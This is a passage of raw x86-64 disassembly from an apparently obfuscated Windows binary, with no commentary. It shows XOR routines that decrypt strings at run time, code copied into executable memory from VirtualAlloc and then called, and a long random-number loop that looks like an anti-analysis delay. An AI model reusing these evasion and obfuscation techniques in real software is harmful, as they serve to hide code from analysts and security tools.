psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x14023e260
cmp r9d, 0x36
jge 0x14023e43c
movsxd rax, r9d
lea r10, [rsp + 0x448]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x36
jl 0x14023e3f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x318], xmm0
mov qword [rsp + 0x328], rdi
mov qword [rsp + 0x330], rdi
lea rax, [rsp + 0x448]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14023e462
lea rdx, [rsp + 0x448]
lea rcx, [rsp + 0x318]
call fcn.14020c680
lea rcx, [rsp + 0x318]
call fcn.1401ffd40
lea rbx, [0x14020ec60]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rcx, [rsp + 0xaa98]
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb70], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140296a70]
lea r12, [0x14024b060]
test rax, rax
je 0x14023e50f
mov rdx, rdi
cmp rax, r12
je 0x14023e4fe
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x296a70]
test rax, rax
jne 0x14023e4e6
jmp 0x14023e50f
mov rdx, qword [rsi + rdx*8 + 0x298a10]
test rdx, rdx
jne 0x14023e5f0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14023e538
mov rdx, rdi
jmp 0x14023e5cf
mov rax, r12
mov rcx, rdx
mov r8, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14023e541
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297738]
mov qword [rsi + rax*8 + 0x296a70], r12
mov qword [rsi + rax*8 + 0x298a10], rdx
inc rax
mov qword [0x140297738], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb70], rax
lea rcx, [rsp + 0xaa98]
mov qword [rcx], rax
lea rbx, [0x140206b00]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rcx, [rsp + 0xaa98]
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb70], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140296a70]
test rax, rax
je 0x14023e68b
mov rdx, rdi
cmp rax, r12
je 0x14023e67a
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x296a70]
test rax, rax
jne 0x14023e662
jmp 0x14023e68b
mov rdx, qword [rsi + rdx*8 + 0x298a10]
test rdx, rdx
jne 0x14023e76f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14023e6b4
mov rdx, rdi
jmp 0x14023e74e
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14023e6c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297738]
mov qword [rsi + rax*8 + 0x296a70], r12
mov qword [rsi + rax*8 + 0x298a10], rdx
inc rax
mov qword [0x140297738], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb70], rax
lea rcx, [rsp + 0xaa98]
mov qword [rcx], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x82b4], 0xffffffff
mov dword [rsp + 0x6f34], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x6f34], eax
inc rdx
cmp rdx, 0x270
jb 0x14023e7b0
mov dword [rsp + 0x6f30], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.1401f2240
mov r14, qword [rsp + 0x50]
add r14, 0x5f5e100
mov r15d, 1
nop dword [rax]
lea rcx, [rsp + 0x7c0]
call fcn.1401f2240
cmp qword [rax], r14
jge 0x14023e989
mov qword [rsp + 0x50], 0x186a0
nop
lea rcx, [rsp + 0x6f30]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14023e85b
nop dword [rax + rax]
lea rcx, [rsp + 0x6f30]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14023e840
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r15d
lea rcx, [rsp + 0x6f30]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023e8ab
nop word [rax + rax]
lea rcx, [rsp + 0x6f30]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023e890
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x6f30]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023e8fb
nop
lea rcx, [rsp + 0x6f30]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023e8e0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x6f30]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023e94b
nop
lea rcx, [rsp + 0x6f30]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023e930
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x50], r15
jne 0x14023e820
jmp 0x14023e800
mov eax, dword [rsp + 0x40]
lea rbx, [0x1401f9f50]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rcx, [rsp + 0xaa98]
movabs r14, 0xff00ff00ff00ff00
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb70], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140296a70]
test rax, rax
mov r15, 0xffffffffffffffff
je 0x14023ea19
mov rdx, rdi
nop
cmp rax, r12
je 0x14023ea08
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x296a70]
test rax, rax
jne 0x14023e9f0
jmp 0x14023ea19
mov rdx, qword [rsi + rdx*8 + 0x298a10]
test rdx, rdx
jne 0x14023eaff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14023ea42
mov rdx, rdi
jmp 0x14023eade
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14023ea50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297738]
mov qword [rsi + rax*8 + 0x296a70], r12
mov qword [rsi + rax*8 + 0x298a10], rdx
inc rax
mov qword [0x140297738], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb70], rax
lea rcx, [rsp + 0xaa98]
mov qword [rcx], rax
movups xmm0, xmmword [0x14027cbd0]
movups xmmword [rsp + 0x418], xmm0
movups xmm1, xmmword [0x14027cbe0]
movups xmmword [rsp + 0x428], xmm1
movsd xmm0, qword [0x14027cbf0]
movsd qword [rsp + 0x438], xmm0
mov eax, dword [0x14027cbf8]
mov dword [rsp + 0x440], eax
mov r9d, edi
cmp dword [0x140291090], 2
jl 0x14023ecfd
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x41c]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x14023eb80
cmp r9d, 0x2c
jge 0x14023ed5c
movsxd rax, r9d
lea r10, [rsp + 0x418]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2c
jl 0x14023ed10
xorps xmm0, xmm0
movups xmmword [rsp + 0x338], xmm0
mov qword [rsp + 0x348], rdi
mov qword [rsp + 0x350], rdi
lea rax, [rsp + 0x418]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14023ed82
lea rdx, [rsp + 0x418]
lea rcx, [rsp + 0x338]
call fcn.14020c680
lea rcx, [rsp + 0x338]
call fcn.1401ffd40
lea rbx, [0x1401f3cc0]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rcx, [rsp + 0xaa98]
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb70], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140296a70]
test rax, rax
je 0x14023ee29
mov rdx, rdi
nop
cmp rax, r12
je 0x14023ee18
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x296a70]
test rax, rax
jne 0x14023ee00
jmp 0x14023ee29
mov rdx, qword [rsi + rdx*8 + 0x298a10]
test rdx, rdx
jne 0x14023ef0f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14023ee52
mov rdx, rdi
jmp 0x14023eeee
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14023ee60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297738]
mov qword [rsi + rax*8 + 0x296a70], r12
mov qword [rsi + rax*8 + 0x298a10], rdx
inc rax
mov qword [0x140297738], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb70], rax
lea rcx, [rsp + 0xaa98]
mov qword [rcx], rax
call fcn.1402167a0
cmp qword [0x140294440], 5
jae 0x14023f23e
movsd xmm0, qword [0x14027d160]
movsd qword [rsp + 0xd8], xmm0
mov ecx, dword [0x14027d168]
mov dword [rsp + 0xe0], ecx
movzx eax, word [0x14027d16c]
mov word [rsp + 0xe4], ax
cmp byte [0x14027d16d], 0
je 0x14023f20c
mov r9d, edi
cmp dword [0x140291090], 2
jl 0x14023f1ab
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14027d160]
xorps xmm2, xmm0
movd dword [rsp + 0xd8], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xdc]
xorps xmm2, xmm1
movd dword [rsp + 0xdc], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0xe0], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0xd8]
add r10, rax
nop dword [rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14023f1c0
lea rax, [rsp + 0xd8]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14023f220
lea rdx, [rsp + 0xd8]
lea rcx, [0x140294430]
call fcn.140248d40
lea rcx, [rsp + 0x9a0]
call fcn.140215c10
mov rdx, rax
lea rcx, [0x1402941b8]
call fcn.140247170
lea rcx, [rsp + 0x9a0]
call fcn.140248aa0
lea rbx, [0x140201c50]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rcx, [rsp + 0xaa98]
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb70], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140296a70]
test rax, rax
je 0x14023f2e1
mov rdx, rdi
cmp rax, r12
je 0x14023f2d0
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x296a70]
test rax, rax
jne 0x14023f2b8
jmp 0x14023f2e1
mov rdx, qword [rsi + rdx*8 + 0x298a10]
test rdx, rdx
jne 0x14023f3cf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14023f30a
mov rdx, rdi
jmp 0x14023f3ae
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14023f320
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297738]
mov qword [rsi + rax*8 + 0x296a70], r12
mov qword [rsi + rax*8 + 0x298a10], rdx
inc rax
mov qword [0x140297738], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb70], rax
lea rcx, [rsp + 0xaa98]
mov qword [rcx], rax
movups xmm0, xmmword [0x14027d9c0]
movups xmmword [rsp + 0x650], xmm0
movups xmm1, xmmword [0x14027d9d0]
movups xmmword [rsp + 0x660], xmm1
movups xmm0, xmmword [0x14027d9e0]
movups xmmword [rsp + 0x670], xmm0
movups xmm1, xmmword [0x14027d9f0]
movups xmmword [rsp + 0x680], xmm1
movsd xmm0, qword [0x14027da00]
movsd qword [rsp + 0x690], xmm0
mov eax, dword [0x14027da08]
mov dword [rsp + 0x698], eax
movzx eax, word [0x14027da0c]
mov word [rsp + 0x69c], ax
movzx eax, byte [0x14027da0e]
mov byte [rsp + 0x69e], al
mov r9d, edi
mov ebx, dword [0x140291090]
cmp ebx, 2
jl 0x14023f60d
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x654]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
